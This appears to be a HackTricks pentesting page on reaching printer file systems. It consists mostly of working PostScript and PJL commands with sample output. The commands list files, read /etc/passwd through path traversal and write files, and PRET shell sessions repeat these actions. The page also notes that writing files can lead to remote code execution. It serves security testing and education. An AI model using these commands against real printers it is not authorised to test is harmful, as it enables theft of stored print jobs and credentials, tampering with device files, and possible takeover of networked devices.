hacktricks/pentesting/pentesting-printers/file-system-access.md
2021-11-30 16:46:07 +00:00

87 lines
3.1 KiB
Markdown

# File system access
### **PostScript**
Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for **PostScript** and **PJL** to **access the filesystem**.
Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):
```bash
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
```
You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
```
### PJL
```
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
```
Anyway accessing files with PJL is not supported by many printers.
You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
```
**Learn more about possible sandbox bypasses using PostScript and PJL limitations in** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)****